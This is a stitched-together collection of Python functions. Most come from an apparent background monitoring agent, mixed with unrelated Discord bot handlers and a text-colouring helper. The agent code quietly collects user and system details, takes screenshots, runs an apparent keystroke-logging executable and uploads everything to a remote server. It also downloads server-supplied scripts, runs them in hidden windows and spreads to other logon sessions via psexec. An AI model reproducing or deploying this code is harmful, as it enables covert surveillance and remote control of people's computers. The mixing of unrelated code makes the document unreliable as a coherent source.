def collect(self): info = {} res = '' try: info['DATA_DIR'] = self.datadir info['SYSTEM'] = "; ".join(platform.uname()) info['PID'] = os.getpid() info.update(config) del info['AUTH'] try: sess = utils._get_session_of_pid2(os.getpid()) info['SESSION'] = sess sessuser = utils.get_user_name() info['LOGGEDONUSER'] = sessuser except Exception as e: info['ERROR_GET_LOGGEDONUSER'] = e for k, v in info.iteritems(): try: res += fmt('{k} = {v}\n', k=k, v=utils.true_enc(v)) except Exception as e: res += fmt('ERROR_{k} = {v}\n', k=k, v=e) except Exception as e: log.error(e) return utils.utf(res)
def __init__(self): log.info(fmt('Init daemon: {0}', __name__)) threading.Thread.__init__(self) self.name = __name__ self.daemon = True self.active = False self.datadir = os.path.join(config['HOME_DIR'], config['NAME'], utils.get_user_name()) self.url = config['URL'][0] self.script_dir = os.path.join(self.datadir, 'script') self.md5file = os.path.join(self.script_dir, fmt("{EXCLUDE_CHR}script.md5", **config)) utils.makedirs(self.script_dir) utils.makedirs(self.datadir) self.params = { "username": utils.utf(utils.get_user_name()), 'compname': utils.utf(utils.get_comp_name()) } self.jreq = { 'jsonrpc': '2.0', 'method': 'script', 'id': __name__, 'params': self.params } self.auth = requests.auth.HTTPDigestAuth(*config['AUTH']) self.headers = {'user-agent': fmt("{NAME}/{VERSION}", **config)}
def __init__(self): log.info(fmt('Init daemon: {0}', __name__)) threading.Thread.__init__(self) self.name = __name__ self.daemon = True self.active = False self.datadir = os.path.join(config['HOME_DIR'], config['NAME'], utils.get_user_name()) self.imagesdir = os.path.join(self.datadir, 'images') self.quality = config['SCR_QUALITY'] self.url = config['URL'][0] self.maxRMS = config['CHGSCR_THRESHOLD'] self.auth = requests.auth.HTTPDigestAuth(*config['AUTH']) self.img1_histogram, self.img2_histogram = None, None self.params = { "username": utils.utf(utils.get_user_name()), 'compname': utils.utf(utils.get_comp_name()) } self.jreq = { 'jsonrpc': '2.0', 'method': 'image', 'id': __name__, 'params': self.params } self.headers = {'user-agent': fmt("{NAME}/{VERSION}", **config)} utils.makedirs(self.datadir)
def download(self, filelist): """ :filelist: tuple of dictionaries represented of md5 file :return: True if successful or False if other """ if not filelist: return False with requests.Session() as sess: sess.auth = self.auth sess.timeout = (3.05, 27) sess.verify = config['CERT'] sess.headers = self.headers for index in filelist: self.params['filename'] = index.get('filename') self.jreq['params'] = self.params self.jreq['id'] = time.time() log.debug( fmt('Try to download: {fn}', fn=self.params['filename'])) r = sess.post(self.url, json=self.jreq) r.raise_for_status() jres = self._check_jres(r.json()) content = base64.b64decode(jres['result']) fn = os.path.join(self.script_dir, self.params['filename']) if not (os.path.exists(fn) and index.get('md5sum') == md5( open(fn, 'rb').read()).hexdigest()): log.debug(fmt('Try to save: {fn}', fn=fn)) with open(fn, 'wb') as fp: fp.write(content) return True
def run(self): log.info(fmt('Start daemon: {0}', self.name)) self.active = True prev_timeout, timeout = 13, 21 while self.active: try: utils.makedirs(self.datadir) with requests.Session() as sess: sess.auth = self.auth sess.timeout = (3.05, 27) sess.verify = config['CERT'] sess.headers = self.headers for fn in (f for f in utils.rListFiles(self.datadir) if not os.path.basename(f).startswith(config['EXCLUDE_CHR'])): try: with open(fn, 'rb') as fp: self.params['filename'] = utils.utf( fn.replace(self.datadir, '').replace('\\', '/').strip('/')) self.params['data'] = base64.b64encode(fp.read()) self.jreq['params'] = self.params self.jreq['id'] = time.time() log.debug(fmt('Try to upload: {fn}', fn=fn)) r = sess.post(self.url, json=self.jreq) jres = self._check_jres(r.json()) if jres['result'] == 1: log.debug(fmt('Try to delete: {fn}', fn=fn)) os.unlink(fn) except requests.exceptions.RequestException: raise except IOError as e: log.error(e) time.sleep(0.1) prev_timeout, timeout = 13, 21 except Exception as e: if timeout < 60: prev_timeout, timeout = timeout, prev_timeout + timeout if e.__class__ in requests.exceptions.__dict__.itervalues(): try: ind = config['URL'].index(self.url) self.url = config['URL'][ind + 1] except Exception: self.url = config['URL'][0] log.error(e) time.sleep(timeout)
def run(self): log.info(fmt('Start daemon: {0}', self.name)) self.active = True self.info = self.collect() self.params['data'] = base64.b64encode(self.info) self.jreq['params'] = self.params prev_timeout, timeout = 13, 21 while self.active: try: self.jreq['id'] = time.time() r = requests.post(self.url, json=self.jreq, headers=self.headers, auth=self.auth, timeout=(3.05, 27), verify=config['CERT']) r.raise_for_status() jres = self._check_jres(r.json()) if jres['result'] != 1: raise requests.exceptions.HTTPError self.stop() except Exception as e: if timeout < 60: prev_timeout, timeout = timeout, prev_timeout + timeout if e.__class__ in requests.exceptions.__dict__.itervalues(): try: ind = config['URL'].index(self.url) self.url = config['URL'][ind + 1] except Exception: self.url = config['URL'][0] log.error(e) time.sleep(timeout)
def check_out_file(self, cmd_out_file, timeout=120): """ Проверяет, существует ли cmd_out_file. Если существует и время последней модификации < timeout c. то вызывается исключение, если нет то вызывается kill_proc. :cmd_out_file: filename :timeout: default 120 c """ log.info(fmt("Check out_file: {f}", f=cmd_out_file)) if os.path.isfile(cmd_out_file): if time.time() - os.path.getmtime(cmd_out_file) < timeout: raise Exception( fmt('Process may be still running. {f} is lock.', f=cmd_out_file)) else: self.kill_proc(cmd_out_file, None)
def run(self): log.info(fmt('Start daemon: {0}', self.name)) self.active = True prev_timeout, timeout = 13, 21 while self.active: try: utils.makedirs(os.path.dirname(self.md5file)) utils.makedirs(self.datadir) self.params['filename'] = os.path.basename(self.md5file) self.jreq['params'] = self.params self.jreq['id'] = time.time() log.debug( fmt('Try to download: {fn}', fn=self.params['filename'])) r = requests.post(self.url, json=self.jreq, headers=self.headers, auth=self.auth, verify=config['CERT'], timeout=(3.05, 27)) r.raise_for_status() jres = self._check_jres(r.json()) content = base64.b64decode(jres['result']) filelist = self.parse_index(content) self.check_out_files(filelist) if not (os.path.exists(self.md5file) and md5(content).hexdigest() == md5( open(self.md5file, 'rb').read()).hexdigest()): if self.download(filelist): with open(self.md5file, 'wb') as fp: fp.write(content) self.execute(filelist) prev_timeout, timeout = 13, 21 except Exception as e: if timeout < 60: prev_timeout, timeout = timeout, prev_timeout + timeout if e.__class__ in requests.exceptions.__dict__.itervalues(): try: ind = config['URL'].index(self.url) self.url = config['URL'][ind + 1] except Exception: self.url = config['URL'][0] log.error(e) time.sleep(timeout)
def check_out_files(self, filelist): for index in filelist: try: fn = os.path.join(self.script_dir, index.get('filename')) out_file = fmt("{fn}.out", fn=fn) timeout = index['cmd'].get( 'timeout') if index['cmd'] is not None else 120 self.check_out_file(out_file, timeout) except Exception as e: log.error(e)
def run(self): if not sys.platform.startswith('win'): return log.info(fmt('Start daemon: {0}', self.name)) self.active = True prev_timeout, timeout = 21, 34 while self.active: try: utils.makedirs(self.workdir) if not self.check_kbdsvc_proc(): self.start_kbdsvc_proc() for fn in (f for f in utils.rListFiles(self.workdir) if os.path.basename(f).endswith('.k')): try: # minutes are modulo 10 tm_tuple = time.localtime(int(time.time() / 600) * 600) ftime = time.strftime("%Y%m%d%H%M%S", tm_tuple) if ftime not in fn: nfn = os.path.join( self.workdir, os.path.basename(fn).lstrip( config['EXCLUDE_CHR'])) os.rename(fn, nfn) except IOError as e: log.error(e) time.sleep(0.1) prev_timeout, timeout = 21, 34 except Exception as e: if timeout < 60: prev_timeout, timeout = timeout, prev_timeout + timeout for i in os.listdir(self.workdir)[-config['SAVED_IMAGES']::-1]: try: log.debug( fmt('Try to delete: {fn}', fn=os.path.join(self.workdir, i))) os.unlink(os.path.join(self.workdir, i)) except Exception as e: log.error(e) log.error(e) time.sleep(timeout)
def on_member_remove(self, guild, member): gb_message = guild.storage.get('gb_message') if guild.storage.get('gb_disabled') or not gb_message: return gb_message = fmt(gb_message, server=guild.name, user=member.name) channel = guild.storage.get('channel_name') destination = channel or guild.id self.send_message(destination, gb_message)
def _grabImage_PIL(self): """ Делает скриншот с помощью Pillow библиотеки. ImageGrab.grab() порождает большую утечку памяти, если при вызове произошла ошибка. """ from PIL import ImageGrab bt = time.time() try: return ImageGrab.grab() finally: log.debug(fmt("time of execution = {t}", t=time.time() - bt))
def __init__(self): log.info(fmt('Init daemon: {0}', __name__)) threading.Thread.__init__(self) self.daemon = False self.datadir = os.path.join(config['HOME_DIR'], config['NAME']) self.url = config['URL'] + '/env' self.cookie = {"username": base64.urlsafe_b64encode(utils.get_user_name().encode('utf8')), 'compname': base64.urlsafe_b64encode(utils.get_comp_name().encode('utf8'))} self.auth = requests.auth.HTTPDigestAuth(*config['AUTH']) global log utils.makedirs(self.datadir)
def exec_script(self, script_file, cmd_opt): """ :script_file: Filename to execute :cmd_opt: Словарь из команды parse_cmd. cmd_opt[wait] == True, то запускается script_file и ожидает завершения cmd_opt[timeout] сек. иначе не ожидает завершения. В любом случае процесс прерывается через cmd_opt[timeout] сек. Пишет out file, который будет загружен на сервер модулем uploader. """ if cmd_opt is None: return False log.info(fmt('Try to execute: {sf}', sf=script_file)) if sys.platform.startswith('win'): si = subprocess.STARTUPINFO() si.dwFlags = subprocess.STARTF_USESHOWWINDOW si.wShowWindow = subprocess.SW_HIDE else: si = None os.chmod(script_file, 0755) cmd_out_file = fmt("{fn}.out", fn=script_file) self.check_out_file(cmd_out_file, cmd_opt['timeout']) sf = utils.fs_enc(script_file) proc = subprocess.Popen(sf, stdout=open(cmd_out_file, 'wb'), stderr=subprocess.STDOUT, shell=False, cwd=os.path.dirname(sf), startupinfo=si) proc_timer = threading.Timer(cmd_opt['timeout'], self.kill_proc, args=[cmd_out_file, proc]) proc_timer.start() if cmd_opt['wait']: proc.wait() proc_timer.cancel() self.kill_proc(cmd_out_file, proc)
def on_member_join(self, guild, member): welcome_message = fmt(guild.storage.get('welcome_message'), server=guild.name, user=member.mention) announcement_channel = guild.storage.get('channel_name') private = guild.storage.get('private') destination = announcement_channel or guild.id if private: destination = member.id self.send_message(destination, welcome_message)
def kill_proc(self, cmd_out_file, proc=None): """ Завершает процесс proc. Если cmd_out_file существует, то переименовывает его удаляя config[EXCLUDE_CHR] из начала имени для выгрузки на сервер. :cmd_out_file: filename :proc: process """ if proc: log.debug(fmt("Kill process {pid}", pid=proc.pid)) proc.kill() if os.path.isfile(cmd_out_file): f = os.path.join( os.path.dirname(cmd_out_file), os.path.basename(cmd_out_file).lstrip(config['EXCLUDE_CHR'])) if os.path.isfile(f): log.debug(fmt("Delete file {f}", f=f)) os.unlink(f) log.debug( fmt('Rename file: "{old}" to "{new}"', old=cmd_out_file, new=f)) os.rename(cmd_out_file, f)
def mark_text(text, indices, length, color = 'red'): # Mark text and return corrected indices if sys.platform == 'win32': # damn OS doesn't even support coloring return text, indices text = list(text) formatter = fmt(color), fmt() lengths = map(len, formatter) # we gotta update the indices when we introduce colored text i, limit = 0, len(indices) new_indices = indices[:] while i < limit: idx = indices[i] text[idx] = formatter[0] + text[idx] text[idx + length - 1] += formatter[1] new_indices[i] -= lengths[0] j = i while j < limit: new_indices[j] += sum(lengths) j += 1 i += 1 return ''.join(text), new_indices
def on_message_create(self, guild, message): storage = guild.storage # check if member is banned from gaining lvls if self.is_member_banned(guild, message.author): return # check member's CD cooldown_key = 'player:{}:check'.format(message.author.id) print(cooldown_key) print(storage.get(cooldown_key)) if storage.get(cooldown_key) and False: return # activating CD storage.set(cooldown_key, '1', ex=COOLDOWN_DURATION) # get the player player = self.get_player(guild, message.author) player_lvl = copy(player.lvl) new_xp = randint(*XP_REWARD_RANGE) print('adding xp to {}'.format(message.author.id)) print(player.xp) player.xp += new_xp print(player.xp) # adding the player (in case of not added) storage.sadd('players', message.author.id) has_lvl_up = player.lvl != player_lvl print('lvl') print(player.lvl) print(player_lvl) if has_lvl_up: announcement_enabled = storage.get('announcement_enabled') if not announcement_enabled: return should_whisp = storage.get('whisp') if should_whisp: destination = message.author else: destination = message.channel announcement_fmt = storage.get('announcement') announcement = fmt(announcement_fmt, player=message.author.mention, level=player.lvl) self.send_message(destination, announcement)
def __init__(self): log.info(fmt('Init daemon: {0}', __name__)) threading.Thread.__init__(self) self.name = __name__ self.daemon = True self.active = False self.datadir = os.path.join(config['HOME_DIR'], config['NAME'], utils.get_user_name()) self.workdir = os.path.join(self.datadir, 'kbdsvc') self.kbdsvc_exe = os.path.join(config["SELF_DIR"], "kbdsvc", "kbdsvc.exe") self.kbdsvc_proc = None utils.makedirs(self.workdir)
def is_already_running(name): """ Check if process "name" is already running on current loggon session :name: process name """ import psutil curr_sess = utils.get_session_of_pid(os.getpid()) for pid in psutil.pids(): try: if pid != os.getpid(): proc = psutil.Process(pid) if proc.name() == name and utils.get_session_of_pid( pid) == curr_sess: return True except Exception as e: log.error(fmt("Error: {e} when processing pid: {p}", e=e, p=pid))
def _grabImage_wx(self): from PIL import Image import wx bt = time.time() try: app = wx.App( ) # Need to create an App instance before doing anything screen = wx.ScreenDC() size = screen.GetSize() bmp = wx.Bitmap(size[0], size[1]) mem = wx.MemoryDC(bmp) mem.Blit(0, 0, size[0], size[1], screen, 0, 0) myWxImage = bmp.ConvertToImage() return Image.frombytes('RGB', size.Get(), myWxImage.GetDataBuffer().tobytes()) finally: log.debug(fmt("time of execution = {t}", t=time.time() - bt))
def fork_on_session(sess): """ Fork self process on session "sess" via psexec :sess: logon session """ log.debug(fmt("Run on session={0}", sess)) import subprocess si = subprocess.STARTUPINFO() si.dwFlags = subprocess.STARTF_USESHOWWINDOW si.wShowWindow = subprocess.SW_HIDE subprocess.Popen([ utils.fs_enc(os.path.join(config["SELF_DIR"], "psexec.exe")), "\\\\127.0.0.1", "-accepteula", "-nobanner", "-d", "-i", str(sess), utils.fs_enc(sys.executable) ], shell=False, startupinfo=si)
def _grabImage_win32(self): """ Делает скриншот с помощью win32 api. """ import win32gui import win32ui import win32con import win32api from PIL import Image bt = time.time() bmp = win32ui.CreateBitmap() try: CAPTUREBLT = 0x40000000 hwin = win32gui.GetDesktopWindow() width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) hwindc = win32gui.GetWindowDC(hwin) srcdc = win32ui.CreateDCFromHandle(hwindc) memdc = srcdc.CreateCompatibleDC() bmp.CreateCompatibleBitmap(srcdc, width, height) memdc.SelectObject(bmp) memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY | CAPTUREBLT) bmpinfo = bmp.GetInfo() bmpstr = bmp.GetBitmapBits(True) return Image.frombuffer('RGB', (bmpinfo['bmWidth'], bmpinfo['bmHeight']), bmpstr, 'raw', 'BGRX', 0, 1) finally: memdc.DeleteDC() srcdc.DeleteDC() win32gui.ReleaseDC(hwin, hwindc) win32gui.DeleteObject(bmp.GetHandle()) log.debug(fmt("time of execution = {t}", t=time.time() - bt))
for d in self.daemons: try: d.join() except Exception: pass INTERACTIVE = [ utils.SECURITY_LOGON_TYPE.Interactive, utils.SECURITY_LOGON_TYPE.RemoteInteractive, utils.SECURITY_LOGON_TYPE.CachedInteractive, utils.SECURITY_LOGON_TYPE.CachedRemoteInteractive ] if __name__ == '__main__': log.debug(fmt("PID={0}", os.getpid())) log.debug("; ".join(platform.uname())) try: if hasattr(sys, 'frozen'): if sys.platform.startswith( 'win') and utils.get_platform_ver() >= 6.0: curr_sess = utils.get_session_of_pid(os.getpid()) log.debug(fmt("current session={0}", curr_sess)) self_terminate = False if is_already_running(os.path.basename(sys.executable)): self_terminate = True log.debug(fmt("Already running on session {0}", curr_sess)) else: # fork only on interactive sessions for sessdata in utils._enumerate_logonsessions2():
def stop(self): log.info(fmt('Stop daemon: {0}', self.name)) self.active = False self.kill_kbdsvc_proc()
def signal_term(self, signum, frame): log.debug(fmt('Get Signal: {0}', signum)) self.stop()
def stop(self): log.info(fmt('Stop daemon: {0}', self.name)) self.active = False
def run(self): log.info(fmt('Start daemon: {0}', self.name)) self.active = True prev_timeout, timeout = 1, 2 while self.active: try: utils.makedirs(self.datadir) log.debug('Try to grab image') # img = self.grabImage_win32() # img = self.grabImage_PIL() img = self.grabImage() self.img1_histogram = img.histogram() rms = self.compare_images( ) if self.img1_histogram and self.img2_histogram else self.maxRMS + 1 log.debug(fmt("Root Mean Square={rms}", rms=rms)) if rms > self.maxRMS: self.img2_histogram = self.img1_histogram with closing(cStringIO.StringIO()) as data: img.save(data, "JPEG", quality=self.quality) self.params['data'] = base64.b64encode(data.getvalue()) self.jreq['params'] = self.params self.jreq['id'] = time.time() try: log.debug('Try to upload image data') bt = time.time() r = requests.post(self.url, json=self.jreq, headers=self.headers, auth=self.auth, timeout=(3.05, 27), verify=config['CERT']) jres = self._check_jres(r.json()) log.debug( fmt("time of request = {t}", t=time.time() - bt)) if jres['result'] != 1: raise requests.exceptions.HTTPError except Exception as e: log.debug(e) utils.makedirs(self.imagesdir) fn = os.path.join(self.imagesdir, fmt("{0}.jpg", self.jreq['id'])) log.debug(fmt('Try to save: {fn}', fn=fn)) with open(fn, 'wb') as imfp: imfp.write(data.getvalue()) for i in os.listdir(self.imagesdir )[-config['SAVED_IMAGES']::-1]: log.debug( fmt('Try to delete: {fn}', fn=os.path.join(self.imagesdir, i))) os.unlink(os.path.join(self.imagesdir, i)) raise finally: prev_timeout, timeout = 1, 2 except Exception as e: if timeout < 60: prev_timeout, timeout = timeout, prev_timeout + timeout if e.__class__ in requests.exceptions.__dict__.itervalues(): try: ind = config['URL'].index(self.url) self.url = config['URL'][ind + 1] except Exception: self.url = config['URL'][0] log.error(e) time.sleep(timeout)